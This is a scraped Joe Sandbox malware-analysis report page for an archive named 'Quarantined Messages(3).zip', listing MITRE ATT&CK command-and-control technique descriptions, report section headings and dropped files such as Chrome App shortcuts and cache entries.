Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Quarantined Messages(3).zip

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 102

Chrome Cache Entry: 105

Chrome Cache Entry: 107

Chrome Cache Entry: 109

Chrome Cache Entry: 110

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 84

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 99

Static File Info

General

File Icon

Windows Analysis Report
Quarantined Messages(3).zip